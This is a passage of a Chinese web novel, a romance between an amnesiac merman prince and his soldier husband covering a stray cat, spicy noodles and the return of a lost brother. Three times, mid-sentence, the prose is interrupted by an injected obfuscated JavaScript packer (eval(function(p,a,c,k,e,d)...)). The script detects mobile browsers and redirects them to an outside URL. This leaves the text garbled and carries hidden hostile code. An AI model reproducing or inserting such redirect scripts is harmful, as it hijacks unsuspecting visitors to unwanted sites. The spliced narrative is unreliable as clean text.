修门怎么没人拿工具呢? —— 叶鲤并不知道这只小动物是猫咪。 经过傅寂洲的科普,他知道了小猫是人类常见的宠物。 昼伏夜出、爱好小鱼干、爱恨分明…… 好哇,这和人鱼有什么两样?! “这是一只野生狸花猫,他个性独立不亲人,说不定明天就和你说再见了,”傅寂洲看着叶鲤越来越亮的眼睛,心中警铃大作,立刻补充道,“而且他会掉毛,会弄脏我们的家。” 叶鲤惊奇的摸了摸小狸花的脑袋,声音都放轻了:“你好特别哦。” 猫咪的脑袋毛茸茸的,在阳光下晒的还挺热乎。 小狸花被摸了脑袋,顺着手掌力道抬了抬头,叶鲤往回收了一下手,小狸花赶紧亲昵的蹭了蹭叶鲤的掌心。 傅寂洲:“……” 这只猫真有心机。 “小猫吃鱼。”傅寂洲弹了一下叶鲤的鼻子,再次强调。 “嗯嗯,我也吃鱼,你说我们会不会是一个祖先?” 傅寂洲:“……” “傅——” “不行。” 叶鲤瞬间垮了脸:“哦。” 叶鲤转过身,连尾巴都蜷了起来,不给摸了。 傅寂洲试图伸手换回叶鲤对自己单薄的温情,和两人之间岌岌可危的友好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156175|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系。 随后被叶鲤用尾鳍拍开。 客厅安安静静,厨房的田姨一把拉过管家的胳膊:“这俩孩子又吵架了?” 也不知道声音放小点,被某人听得一清二楚。 这是什么话,傅寂洲负气冷笑一声,不悦地想,他有那个胆子和叶鲤吵架么。 “小猫,你喜欢吃河鱼还是海鱼?海胆你喜欢吃吗?”叶鲤抱着小猫嘀嘀咕咕。 海胆不是给他捞的吗?况且他还没同意这猫进家门呢。 傅寂洲皱眉看着一鱼一猫,觉得家庭地位再也没有一丝下降空间了。 “好吧,我同意了,”傅寂洲两眼一闭,自顾自宣布道, “但是如果它跑掉了,你不许哭。” —— 这只猫就这么顺理成章的进了他们的院子。 叶鲤给他起名叫鲨鱼。 傅寂洲背地里对着这个名字嗤笑了很久。 鲨鱼是一只非常传统的狸花,黑色纹身明显,在家里养了三天眼睛就结痂了,能跑能跳能吃能睡。 主人吃饭他上桌,主人睡觉他挤被窝,是一只很没有边界感的小猫。 那天晚上叶鲤洗完澡,湿漉漉的上床,破天荒没有低头玩手机,反而向傅寂洲凑近了。 叶鲤长发散落,发梢在男人紧致的胸膛划过,留下冰凉水渍,傅寂洲抬手揽住了叶鲤的腰。 叶鲤盯着他的唇看了几秒。 傅寂洲眼眸幽深。 下一秒,叶鲤抬手从他唇边捏走一根猫毛:“鲨鱼又掉毛了,明天要多喂一个蛋黄。” 傅寂洲默不作声的翻身睡觉去了。 就因为这事,傅寂洲很看不惯这只后来者居上的狸花猫。 当第二天,鲨鱼把家里高档定制的窗帘抓成了流苏款式时,傅寂洲忍不住了。 趁着叶鲤不在,傅寂洲用拖鞋抵了抵鲨鱼的后脑勺,阴沉沉地告诫:“你给我老实点。” 鲨鱼喉咙里开着拖拉机,警惕的在他拖鞋上咬了两个洞。 傅寂洲沉默的和它对视片刻,愤怒道:“我看你是分不清大小王了,知不知道是谁养的你!” 鲨鱼轻蔑的看了他一眼,夹着嗓子喵咪猫咪的找叶鲤去了。 11. 交尾 傅寂洲帮叶鲤砍下来的新手机在路上邮了两天,终于到了家。 随之到来的,还有一堆猫砂盆、猫爬架、猫抓板…… 快递盒子把客厅挤的满满当当。 叶鲤在一堆五颜六色奇形怪状的猫窝中选了半天,最后把鲨鱼抱进了一个圆形的蕾丝小花边猫窝,颜色清凉,小猫咪也有了自己的小游泳池。 叶鲤身体往后仰,全景欣赏了一下他的猫和猫窝,美滋滋的抱着去了卧室,郑重的把猫窝放在了他和傅寂洲睡觉的大床中间。 从鲨鱼入住的第一天开始,大款就一直提议给它买猫窝,叶鲤不理解但尊重。现在买回来了,叶鲤发现不愧是大款,这猫窝往床上一摆,鲨鱼就更方便找他睡觉了。 傅寂洲:“……” 这猫是没完没了了。 傅寂洲在快递箱中穿梭,简直没有可以下脚的间隙,他沉默地围着叶鲤转了一圈。 叶鲤安置好猫窝,正卷着尾巴坐在地板上,对着光检查他新买的钻石项链。傅寂洲往他面前一站,正好挡了光线。 叶鲤礼貌的抱着他的强劲有力的大腿,试图把他往旁边挪,别碍事儿。 没挪动,傅寂洲脚下跟生了根似的。 叶鲤头也不抬的自己往旁边移,远离了傅寂洲站立的那片区域。 傅寂洲站在原地,阴着脸啧了一声。 啧的足够响亮,聋子也能听见。 叶鲤疑惑抬头。 他很善解人意,都没有怪罪没眼力见的傅寂洲,怎么这人反倒还先生气了? “买了这么多快递,都是给那只猫买的?” “不是呀,我还买了几条钻石项链,是给你看过的那几个。”叶鲤老实交代。 每次买钻石,流程都比网购其他东西复杂些,必须要大款本人亲自过目。 他也不知道傅寂洲怎么辨别的真假,反正十有八九他相中的钻石购买申请都会被傅寂洲驳回。 而且他不明白为什么傅寂洲对钻石的真假如此斤斤计较,一副被假钻石背刺过的样子。 对于叶鲤来说,他只是喜欢亮闪闪的东西,钻石的真假不重要,不过是两块差不多的发光石头而已。 “没了?”傅寂洲刨根问底。 叶鲤疑惑的看着傅寂洲,他问这些干什么? ……难不成他刚刚发现有钻石是假货?可是这几个项链都很闪,叶鲤不舍得扔。 他眼珠一转,很机智的撒谎:“不对不对,那些项链也是买给鲨鱼的,这满客厅都是给鲨鱼买的快递。” 傅寂洲脸色更沉了点,嗯了一声。 这次莫名其妙的对话结束后,傅寂洲没有再多说什么,晚饭后,叶鲤再三揣摩,忽然get到了一丢丢想法。 傅寂洲不会是在心疼他花钱多了吧? 嘶……这可不好。 他现在失忆了,连自己的支付密码都记不起来,不抱紧傅寂洲的大腿,他从哪里买钻石呢? 叶鲤左想右想,看着落地窗外的正在和下属交代工作的男人,决定去表个态。 告诉他自己不是贪得无厌的小鱼。 轮椅是傅寂洲特意安装的静音材质,傅寂洲没有察觉叶鲤的到来,他懒懒靠在栏杆上,看着太阳坠入地平线。 “成啊,傅哥你这真找对人了,你手下这几个兄弟属我会演戏!台词我自由发挥,就说这狸花是我家的?” “……嗯,可以。” 晚风燥热,傅寂洲周身的气度依旧冷的不近人情,叶鲤深深吸了一口气。 原来傅寂洲这么讨厌鲨鱼吗? “哥你那边是不是信号不好?那我自由发挥了哈,保证让嫂子心服口服,把那野猫带出来——” “算了。” “你就等我好消息……啊?” “算了,”傅寂洲重复道,“他会伤心的。” 对面嘶了一声:“那万一野猫养着养着跑了咋办,还不如趁它刚来没几天给带走,嫂子那边……哥你多哄哄?” 傅寂洲沉默了片刻。 他哄人很失败,结婚三年学了许久,也还总是惹叶鲤生气。 事到临头,他又开始担心叶鲤因为那只猫掉眼泪。 “进了我家的大门,想跑也不容易,还是算了。免得他后来知道了再怪我。” 傅寂洲语气淡然。 他十六岁握抢征战,能带着手下的兵活到现在,靠的是敏锐和冷静。 但这些总会在看到叶鲤的时候抛之脑后。 他甚至因为一只猫而兴师动众。 身后有响动,傅寂洲蹙眉回头,却什么都没有看见。 叶鲤很快回了室内,没人让任何人察觉。 他躺在床上,鲨鱼从猫爬架上一跃而下,跳到叶鲤怀中。 一夜之间拥有了超多玩具的鲨鱼很兴奋,丝毫不知道自己差点被送走。 叶鲤捏着鲨鱼粉色爪垫,小声说:“鲨鱼,人类可真奇怪。” 傅寂洲最奇怪。 —— 大款不高兴,叶鲤觉得自己有必要做些什么。 由于傅寂洲对很多东西都不感兴趣,叶鲤思来想去,盯上了砍一刀砍出来的手机。 他早早就买了新的手机壳,是布灵布灵的镭射炫彩蓝,和他的头发、尾巴颜色相得益彰。 后面的支架还是一个小贝壳,是叶鲤多花了三十块钱让客服定制的,叶鲤专属。 他之前是先用自己的手机玩整整四个小时,再讨好一下傅寂洲,用他的手机购物两小时。 等这六个小时榨干后,叶鲤再超绝不经意的一拍脑门:“啊!我还有些事情没和胖胖交代清楚,再让我和他通一会儿电话吧?” 这时候傅寂洲通常会深吸一口气,允许他再顺走半个小时的手机。 本来以为新手机到来后,网购的时间就充裕了,不过计划永远赶不上变化。 为了他和鲨鱼的未来,以及可持续征用傅寂洲的银行卡,叶鲤决定牺牲这个手机。 于是等到傅寂洲挂了电话进来,叶鲤就把新手机拿到他眼前。 傅寂洲愣住了:“给我的?” 叶鲤闭着眼点头。 他怕自己睁开眼就会反悔。 傅寂洲心中阴郁一扫而空。原来自己也不是一无所有。 他唇角很明显的勾起,翻来覆去打量着手机,矜持的说道:“谢谢,我很喜欢。” 男人没有拒绝,叶鲤安心礼物送出去了的同时,又有些隐秘的失望。 新手机送人了,旧手机已经玩了四个小时,再玩就会爆炸,叶鲤索性去拆泡面吃。 傅寂洲罕见的没有开口阻拦,和颜悦色的目送他出去。 原本高端的料理台多了一个五彩泡面锅,叶鲤熟门熟路的拆开泡面箱,拿出一包泡面。 黑红的包装袋,叫什么“火鸡面”。 没吃过。 叶鲤摸着下巴看着包装袋上的卡通鸡,心想这面不简单啊,还是鸡肉做的。 水开煮面,煮熟后把面捞出,叶鲤撕开包装袋,把酱料挤进去。 因为喜欢吃面,叶鲤在短短几天就学会了用筷子,甚至还抽出宝贵的四小时购物时间去搜索“如何正确使用筷子”,琢磨了半个小时的教学视频,路过的鲨鱼都得夸两句认真。 叶鲤把面搅拌均匀,确保每一根面条都沾上酱料,随后心情愉悦的炫了一口。 唔,好吃——等等?! 叶鲤不明白嘴巴里发生了什么,拌面已经咽下去了,但是一阵灼烧的痛感从舌尖到喉咙再到肚子,轰的传了上来! “傅寂洲,我嘴巴,嘴巴又被揍了!!!” 一分钟后,叶鲤含着冰块,狼狈的擦鼻涕。 傅寂洲盯着他喝了半瓶牛奶,确认他没有过敏反应后,起身要把面倒掉。 “等等,”叶鲤含着冰块,唇不知是被辣的还是被冻的,红彤彤的。 他举起筷子:“再让我吃一口。” 傅寂洲:“……” 又过了半个小时,叶鲤艰难的一根一根进食,终于吃光了一整晚火鸡面,手边是五瓶空牛奶盒。 辣不死他的,会使他更强大。 叶鲤觉得脑瓜子热的嗡嗡响,嘶哈嘶哈着跑去洗漱。 已经接近凌晨了,傅寂洲还没睡,拿着手机通话。 洗漱室的门没关,叶鲤听到傅寂洲的低沉嗓音。 “天底下买部手机多方便,可他却选择了最难的砍一刀方式,大张旗鼓的,” 叶鲤刷牙的动作慢下来,含着一嘴泡沫悄无声息地支起耳朵。 “——不就是为了告诉他的族人,我重要极了,”傅寂洲懒洋洋地啧了一声,“算了,跟你说你也不懂,你又没老婆。” 叶鲤若无其事把自己洗洗刷刷,并决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156176|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定把真实原因按死在心里。 —— 鲨鱼不需要遛。 它自己会在固定的时间巡视一遍新地盘,包括叶鲤的泳池。 叶鲤发现鲨鱼会游泳后,在傅寂洲面前大肆夸耀了一晚上,好像整个地球都是鲨鱼蹬着转起来的。 傅寂洲冷淡的嗯了一声:“我也会游泳。” 叶鲤哇塞了一声,但没有夸下去。 傅寂洲冷淡的结束话题,冷淡的翻身睡觉去了。 隔天,叶鲤发现汽车驶入家门,傅寂洲回家的第一件事就是慢条斯理的脱去军装,换上了游泳衣。 叶鲤:? 男人偏了偏头,语气淡淡:“走,去泳池。” 叶鲤觉得他脸上写着明晃晃的汉字——“让你看看我的实力”。 傅寂洲肩宽腰细,在枪林弹雨中穿梭的身体带着陈年旧伤,却无一不彰显男人磅礴的力量感。 水珠不间断的从发梢低落,从男人立体的眉眼一路滑到薄唇。 夜晚时叶鲤只觉得傅寂洲高高大大的,占据了大床很多位置,体温高不说,还总爱往他这边挤。 现在在日光下,蓝底浴池池水荡漾,池水只到傅寂洲的腰际,在男人赤.裸的胸前映出粼粼水色,叶鲤目不转睛地看了很久。 如果傅寂洲有鱼尾,一定有很多很多子民想要和他交尾。 傅寂洲这才哼笑一声,胜利似的从鲨鱼身旁游了过去。 傍晚,盛夏,男人。 明明池水冰冰凉凉,但叶鲤还是觉得有些发热,他潜入水下,又看到男人黑色布料下裹着的大东西,面红耳赤的浮出了水面。 掰着指头算算,离他成年只剩下不到两个月的时间了。 当晚,傅寂洲睡着后,叶鲤去浴室偷偷打电话给叶尘:“胖胖,人类也能和人鱼交/配吗?” 叶尘:“……啊?” “他是雄性,我怎么睡他呢?” 他们成年后会自动分化出人腿,都这么多年过去了,人类还没有研究出来怎么变鱼尾吗? 叶尘:“…………” 他十八岁的时候,也不记得叶鲤有这么多问题啊! 上岸后叶鲤总是表现的非常淡定,他还以为叶鲤天生就知道这些问题的答案,没想到叶鲤竟然也不知道。 叶尘觉得自己肩负上了严肃的使命,他清清嗓,煞有介事地说:“咳咳,人类和人鱼当然能交尾啦,至于怎么交尾——人类肯定是安装了电子尾巴。” “电子尾巴?” “对,我昨天还在电视上看见一个安装了七个白色猫尾巴的人类,很受欢迎。” 叶尘滔滔不绝地分享自己的见解。 七个尾巴?! 叶鲤两眼一黑,人类也太奇怪了! 希望傅寂洲不是这样的审美,不然交尾的时候完全照顾不过来啊!叶鲤忧心忡忡地想。 “叩叩——”浴室的门被敲响了,叶鲤飞快挂断了电话。 “大晚上,一直在浴室干什么。”傅寂洲倦怠的声音在门外响起。 现在还不是他睡觉的时候,他还想问问傅寂洲为什么睡着了还能仰卧起坐起来,梦游似的找他。 叶鲤拉开浴室门,探出一颗脑袋:“干嘛?” 黑夜里傅寂洲的眼眸黑沉,周身隐隐萦绕着怨气。 他把叶鲤薅出来,教训道:“不要在没开灯的地方玩手机。” 叶鲤没来得及为自己辩解,傅寂洲忽然弯腰咬了一下他的唇。 漆黑的身影笼罩着轮椅上的青年,温热且不容忽视的触感让叶鲤忽然忘词。 “也不要离我很远,在我身边玩。”傅寂洲的手指捏了一把他的脸颊,力道不重,只留下一缕淡淡的果木香。 随后他上床浅睡了过去。 叶鲤怔怔的看着床上的男人。 窗帘在空调运作下微微晃动,床头灯昏暗,一室寂静。傅寂洲的身形隐在暗处,好像格外孤单。 ——傅寂洲是因为自己不在,才忽然惊醒的吗? 叶鲤把手机放下,鬼使神差的钻进了傅寂洲的被窝。 厨房里的火鸡面还等着他宠幸,他还准备再和胖胖聊一会,手机里购物车还没清空…… 真是计划赶不上变化。 叶鲤叹着气把傅寂洲高大的身体揽进了怀里。 谁让大款如此没有安全感? 12. 梦 东联盟中央总部。 傅寂洲一身军装,面容冷硬,几个来交报告的小兵大老远就看见了男人,唰的站直了,遥遥对傅寂洲敬了个军礼。 总部今天难得热闹,丁彦靠着傅寂洲办公室的门,伸长了脖子往副主席办公室瞅。 这就是前几天准备配合傅寂洲演戏抓猫的那位。 傅寂洲不着痕迹的皱眉,抬了抬下巴:“边去,别站我门口碍事。” 等傅寂洲进门坐下,丁彦也跟了上来:“哥,你猜谁来了?” 傅寂洲淡淡道:“秦望。” 丁彦啧了一声,傅寂洲一猜一个准,他八卦的欲望都降低了很多。 “你说这秦望是不是有病,”丁彦反手把门锁紧了,不解道,“海盗反扑是多正常的事儿,随便找个少将率兵平定不就得了,用得着指名道姓的喊大哥你亲自出面吗?” 丁彦口中的秦望,是人鱼族叶鲤小王子的竹马,血统高贵身份特殊,平时辅政,战时统兵。自从傅寂洲带叶鲤回家后,这个秦望没少给他找麻烦。 最近有一窝海盗诱拐人鱼进行器官售卖,引起一连串恶劣影响。 不过,这些并不足以让傅寂洲亲自剿灭。 秦望要求傅寂洲去处理,不过是想支开他带走叶鲤罢了。 傅寂洲眸中冷意一闪而过:“不用管他,你去安排合适人选,一周之内把暴乱平了。” 丁彦得令,溜溜哒推开门出去了。 一分钟后办公室门又被猛地推开,丁彦表情精彩纷呈, “哥,海上传来消息,人鱼首领有消息了。” —— “出差?”叶鲤嗦了一根火鸡面,又咣咣喝下半瓶牛奶,“斯哈——什么叫出差?” “意思就是接下来的一周,我都不在家,”傅寂洲皱着眉把火鸡面给端走,“太辣你就别吃,出一脑门子汗。” “好吧,那我去找胖胖,和族人住在一起。” 叶鲤跟在傅寂洲身后把泡面碗抢了回来:“等会等会,我再吃一口。” 叶鲤的哥哥叶慕自从三年前负伤失踪后,就一直杳无音信,这还是东联盟第一次探查到他的行踪。 勘察兵并没能带他回来,叶幕再次消失,最后现身地是东联盟与西联盟边界处,那里常年战火纷飞,动乱不断。 眼下谁也不知道他是否还活着,傅寂洲决定暂时先瞒着叶鲤,等他亲自过去探勘完,再给叶鲤一个确切的答复。 “让叶尘来家里住,你头内淤血没消,就不要乱走动了。”傅寂洲语气淡淡。 这栋房子的摄像设备是最齐全的,他能随时查看叶鲤的状态。 他拉着叶鲤的手腕来到卧室,指着墙壁上新安装的摄像头让叶鲤看。 “有什么事情都可以在这里喊我,我会看到的。” 人类的高科技真神奇。 叶鲤神色如常的仰头看着眼前的圆球球,缓慢点头。 看似平静,其实是被火鸡面辣懵了。 刚刚傅寂洲拉着他往房间走的时候,他情急之下一口炫完了本该分成三口吃的火鸡面。 他不该贪吃嘴,导致现在嘴巴和胃里像是被族内最有力气的人鱼狠狠揍了一顿,火烧火燎的难受。 但是他绝对不能张嘴喊辣。 傅寂洲绝对干得出来临走之前把家里所有火鸡面都拿走的坏事。 “好,我会记得喊你的。”叶鲤操控舌头慢慢说道。 傅寂洲不满地皱眉看着他,过了会补充道:“没事也可以喊我。” 这东西安装在家里可不是拿来当报警器的。 叶鲤再次嗯嗯点头:“好哦。” 傅寂洲再次皱眉,像是觉得他在敷衍。 叶鲤在心里狠狠踹了一脚傅寂洲。 这人每天能用眉毛夹死一只苍蝇,还只当着叶鲤的面夹苍蝇。 但大款毕竟是大款,叶鲤很有眼力见的举起两根手指发誓:“我每天都会喊你的,我保证。” 傅寂洲没心情告诉他发誓是用三根手指,他把叶鲤揽在怀中,垂着眼睛看着他。 叶鲤今天的唇格外红,也比平常丰满些,傅寂洲贴着他的额头,轻声说道:“亲一下。” 怀中的青年身形微僵。 亲……现在? 他嘴巴很辣很痛,不宜亲嘴。 叶鲤推着傅寂洲宽厚的肩,婉拒道:“等会等会,我听到鲨鱼它——” 又是鲨鱼,傅寂洲果断把他拦腰抱回床上,常年军事化训练的强劲大腿夹着鱼尾,他甚至不用去拷住叶鲤的手腕,就已经把他囚禁在方寸之内。 傅寂洲眉眼黑沉:“最后一次机会,亲不亲?” 叶鲤僵着尾巴亲了亲他的唇瓣,蜻蜓点水般迅速嘬了一口。 傅寂洲没忍住诱惑,低头咬住了唇。 叶鲤猛地瞪大了双眼。 他以为这一瞬间自己会先惊慌别的,比如他肿痛的舌尖,但是当傅寂洲入侵进来的时候,他的思绪完全停滞了。 接吻……是这样的吗? 这么近的距离,他眼前是傅寂洲冷硬的脸,他能看得见男人每一根挺立的睫毛,低垂的眼睑,和眼眸中不容忽视的欲念。 …… 原来这才是吻。 三分钟后,叶鲤如梦初醒,大口大口的喘气,两只耳朵全被烫熟了。 傅寂洲一言难尽的喝了一口床头的水:“我真想把火鸡面给你扔了。” 旖旎气氛瞬间散的无影无踪。 叶鲤狼狈的拉着被子盖住自己的嘴巴,只留一双圆眼控诉傅寂洲。 把他吃干抹净,竟然还剥夺他吃饭的权利。 可恶,他下次不给亲了! —— 傅寂洲忽然出差,最开始时叶鲤没什么不适应的。 叶尘兴冲冲的赶来和他作伴,两人的汉语课都暂时停止,两个文盲喜极而泣。 叶鲤照旧在火鸡面里放多多的酱料,然后狂喝牛奶;白天照旧睡到日上三竿,睡醒后抱着鲨鱼去泳池吃吃喝喝;网购的快递一个不少的放在客厅,猫爬架堆满了一整间客房。 只是偶尔他会想起来傅寂洲皱眉的模样,和他撒娇时男人压不住的唇角。 傅寂洲离开的第三天,日头高悬,蝉鸣阵阵,叶鲤忽然做了一个梦。 梦中也是这样的艳阳天,他抱着枕头睡的香沉之时,忽然有一双大手摸上了他的鱼尾。 痒意从尾巴尖席卷而来。 腰腹处的透明鳞片在空气中微微颤抖,夏日午后温暖的光晕为其增添了一层细腻的薄纱。 终于,那双不容决绝的、宽大带着薄茧的手悬停在了腰腹。 …… 叶鲤额头分泌出细小的汗珠,他无意识的抓紧了床单。 梦境中的一切都曝光过度的样子,看不清来人。只有沉静的呼吸声一下一下打在肩头。 叶鲤猛地惊醒。 发丝已经被潮热汗水洇湿,叶鲤胸膛起伏不定,惊疑的准备掀开被子,又尴尬的压住了被子。 叶鲤抬头,摄像头还在兢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156177|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兢业业的工作着。 这个角度,不知道他现在的模样被摄像头拍到了没。 叶鲤装作若无其事的样子,神色如常的掀开被子一角,溜去了洗手间。 他不想被傅寂洲看到,因为梦里那双手……他太熟悉了。 叶尘的作息早就和人类的作息一样了,他看到叶鲤竟然大白天卷着尾巴坐在客厅发呆,非常惊奇。 “你失眠啦?” 叶鲤慢半拍抬起头:“没有,我做了个梦。” 叶尘随口一问:“梦见什么了?” “唔,不好说,” 叶鲤本来脸就嫩,失忆后总是流露出一点稚气。只有像这种骤然安静,若有所思的时刻,才能从中看出一些成人感,这种感觉并不会使他割裂,反而让人无端想琢磨清楚他到底在想些什么。 “一个可能发生过的事情。”叶鲤托着腮想了很久,才缓缓说道。 果木香很浓,那应该是一个不算差的体验。 前三天的傅寂洲好像很闲,每天固定时间打电话过来,还必须要求叶鲤在卧室那个圆球球下面接电话。 一次两次叶鲤都照做了,第三天叶鲤瘫在床上,敷衍的摆了摆鱼尾:“不要。” “我每天下床跑过去接电话也很累的,你应该把圆球球安装在床上。” 傅寂洲当时正在战火连天的前线,他没吃午饭,才勉强挤出来五分钟的通话时间。 营地外刚刚结束一场火拼,还有逃逸者举着枪射击,满室硝烟味。 傅寂洲绷了一整天的神经终于松下来,眼角都是笑意:“怎么越来越懒了?” 语气中却丝毫没有责怪的意思。 “等着,马上给我的小王子安排。”傅寂洲一锤定音。 果不其然,当天傍晚,两个装修工在床顶又安装了一个新的圆球球。 叶鲤盯着圆球球看了一会,心里悄无声息地松了口气。 看来那个摄像头拍不到床上,也看不到他做梦的模样。 —— 后面几天傅寂洲直接断联了,第七天叶鲤等了很久,傅寂洲才披着暮色踏进家门。 小别胜新婚。 傅寂洲回来后先抱着鱼狠狠亲了几口,把叶鲤亲的蜷起尾巴一个劲的推他。 “亲疼你了?”傅寂洲不依不饶地把他的手握在怀中,抱的更紧了。 “你得等我喘口气。”叶鲤擦了擦嘴巴,不满的说道。 太用力了对鱼不好。 傅寂洲低头看着被擦的红润的唇瓣,眸光渐深。 “我给你买了新鲜的小鱼干。”傅寂洲声音低沉。 傅寂洲对如何拿捏贪吃鱼很有研究。果不其然,叶鲤眼睛唰的亮了。 叶鲤立刻要从傅寂洲怀里跳出去,却被男人揽着腰压在腿上动弹不得。 叶鲤:? 傅寂洲呼吸深沉:“亲一口,都给你。” 傅寂洲如愿以偿的得到了一条安静听话的小鱼。 虽然只有三分钟。 叶尘在客厅围着傅寂洲带回来的小鱼干转,等了很久才等到叶鲤从卧室出来。 “快拆开看看,隔着箱子我都闻到香味了!”叶尘催促道。 叶鲤闻言走过去。 “嘶,叶鲤,你刚刚在卧室偷吃什么了?”叶尘忽然抬头打量他。 叶鲤欲盖弥彰的擦了一下:“什么都没有吃。” “不可能,你肯定吃好东西了,”叶尘语气坚定,指着他的唇说道,“这都吃肿了,你还撒谎呢?” 13. 90分 叶鲤觉得这只是平常的一天。 傅寂洲出差回来后变得黏人了,叶鲤躺在床上摊成饼忍了三分钟,终于忍不住把傅寂洲的脑袋从他身上推掉。 傅寂洲埋头在他怀里的模样像极了叶鲤吸猫的样子。但傅寂洲是军人,头发茬又硬又扎,还一个劲的蹭,锁骨处的皮肤都给他蹭红了。 怪不得他每次吸猫时鲨鱼会咪咪咪的抗议。 他决定原谅鲨鱼一秒钟。 “我们就这样躺着不要动,可以吗?”叶鲤努力躺直了,想让傅寂洲学他的样子好好躺下。 傅寂洲心说这也太可爱了,谁能忍? 但是每日吸鱼时长已经达到了上限,他侧躺在叶鲤旁边,枕着胳膊肘对着叶鲤,退而求其次把玩他柔软的白金色发丝。 已经晚上八点了,床头灯柔柔照着,发丝蒙上了一层美好的光晕。 窗外蝉鸣阵阵,深蓝色天幕缀着星子,傅寂洲看着眼前人,忽然冷不丁说道:“我要告诉你一件事。” 叶鲤也立刻翻身看向他:“什么事?你想吃火鸡面?” 傅寂洲:“……” “不是。”傅寂洲忽视掉叶鲤一眨一眨的圆眼,无情拒绝,“叶鲤小王子我再严肃给你说一遍,你接下来一周都吃不到火鸡面了——昨天某人因为吃火鸡面解辣,把牛奶当水喝结果消化不良半夜去找医生的事情,还需要我给你再讲述一遍吗?” 叶鲤悻悻闭嘴。 “好吧,那你要告诉我什么?”叶鲤又给自己翻了个面,声音变得无欲无求。 现在哪怕是傅寂洲掏出一块特别闪亮的大钻石,他也不会很兴奋的捧场了。 失去挚爱的生活就是这么没滋没味。 “咳……”傅寂洲盯着叶鲤看了一会,轻声问,“最近开心吗?” 叶鲤一脸奇怪的瞅了他一眼。 这是什么奇怪的问题。 床头柜上随时放着的四五条手链闪烁着微光,两米多宽的轻奢美式软包实木大床上卷着彩虹薄被。左边一整面墙壁全是毛毡板,各种首饰小玩意儿长长短短热热闹闹的挤在一起,然而大多时候叶鲤会忘记他们,或者随手把新手链挂在上面,等着傅寂洲下班后抽出五分钟的时间一边整理,一边不轻不重的吵他两句。 就连空调防尘罩也穿着蓝色蕾丝边小裙子,吹风口挂了几个小海螺,晃悠悠的左右摆动。 叶鲤挑剔地打量着这个家,最后哼了一声:“勉勉强强,90分。” 傅寂洲从小到大,只要是考试,满分是常态。 他一边隐秘的松了半口气,一边又不满足的问:“扣的10分扣在哪里了?” ——当时叶鲤专项扫盲小课堂开课时,老师是傅寂洲。每堂课45分钟,最后五分钟永远是随堂测试,叶鲤得分最多的就是90分。 这是一个可以问傅寂洲要一点小奖励、但是还会被下扣几桶泡面的分数。 叶鲤恨的牙痒痒,以至于刚刚傅寂洲一问,他随口就把90分还了回去。 “因为你独裁专治,没有满足伴侣的进食需求。”叶鲤摇着食指,说的冠冕堂皇。 傅寂洲罕见的没有说话。 叶鲤看了他一眼,发现这人不知道琢磨过来了什么,特自恋的笑了一声:“意思是除了不让你吃火鸡面,其他一切事情都开心?” ……他是这个意思吗? 叶鲤觉得傅寂洲的理解交流能力也是90分。 里拐外拐说了一堆,傅寂洲终于说到了正事上:“我找到大哥了。” 叶鲤第一反应是傅寂洲竟然也会叫人大哥? 第二反应才是大哥?大哥!是他的好大哥叶慕! “他重伤后就在东西联盟交界处的一个渔村养伤,也算是灯下黑,三年了竟然没惊动任何一方势力,甚至……咳,马上要成家了。” “什么?!竟然有人喜欢我大哥!”叶鲤难以置信的大叫。 傅寂洲:“……” 傅寂洲想起一路上叶慕威严的神情,谨慎的避开了这个话题。 因为他也觉得不可思议。 “他待的渔村属于三不管地带,常年停电,那个勘察兵是个新兵蛋子,误打误撞迷路走到了他的暂居地,否则再过几年我们也联系不上他,” 傅寂洲声音压低了,“你放心,他昨天是我一路护送回来的,但是他要先去医疗所,我们得先确认他的身体没有监听器、海盗药剂或者别的什么东西留下暗伤。估计明天我才能请他来家坐坐。” 傅寂洲没有继续往下说的是,东联盟最高决策层的办公室已经彻夜不休灯火通明一周了。 叶慕的身份太至关重要,他才是人鱼族名正言顺的、统治了海洋十多年的王。 他的归来不仅意味着人族和人鱼族的联盟关系进一步变革,更决定着人鱼族是选择东联盟、还是取代岌岌可危的西联盟站在东联盟的对立面,还是说……人鱼族会在屠尽海盗后重返海洋,和所有人类终止合作关系。 叶慕在三年前骤然失踪,现在出现的又太措不及防,傅寂洲把愣神的叶鲤抱在怀里,默不作声的吻了吻他的唇。 叶慕失踪后,叶鲤是怎样一个人抗下整族的担子,又是抱着怎样的想法,以自己为联姻筹码换全族上岸的? 叶鲤从来没提过这些。 “那我大嫂呢?你有把大嫂也带回东联盟吗?你知道大嫂长什么样子吗?大嫂脾气怎么样?”叶鲤一连串的追问。 叶鲤失忆后记忆停留在五年前,那时候他还和大哥低头不见抬头见的。 